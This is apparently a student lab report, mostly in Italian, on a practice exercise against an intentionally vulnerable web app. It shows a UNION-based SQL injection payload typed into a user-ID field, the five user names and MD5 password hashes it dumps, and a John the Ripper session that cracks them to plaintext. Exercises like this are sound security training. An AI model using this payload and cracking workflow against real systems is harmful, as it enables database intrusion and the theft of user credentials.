

REPORT 07/06

User ID:

Submit

ID: ' UNION SELECT first_name, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT first_name, password FROM users#
First name: Gordon
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT first_name, password FROM users#
First name: Hack
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT first_name, password FROM users#
First name: Pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT first_name, password FROM users#
First name: Bob
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

' UNION SELECT first_name, password FROM users#

codice per il MySQL injection

```
1 admin:5f4dcc3b5aa765d61d8327deb882cf99
2 Gordon:e99a18c428cb38d5f260853678922e03
3 Hack:8d3533d75ae2c3966d7e0d4fcc69216b
4 Pablo:0d107d09f5bbe40cade3de5c71e9e9b7
5 Bob:5f4dcc3b5aa765d61d8327deb882cf99
6
```

file txt ashd admin e password

configurazione di john :

--format= raw-md5 <nomefile>

```
(kali㉿kali)-[~/Desktop]
└─$ john --format=raw-md5 ashed.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 11 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (admin)
password      (Bob)
abc123        (Gordon)
letmein       (Pablo)
Proceeding with incremental:ASCII
charley       (Hack)
5g 0:00:00:00 DONE 3/3 (2023-06-07 09:25) 20.83g/s 761304p/s 761304c/s 840420C/s stevy13..canda
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

il password cracking utilizzato é MD5 ,dove questa funzione prende un input di lunghezza variabile e un output di lunghezza fissa per un hash .

La codifica è un formato standard per le macchine UNIX.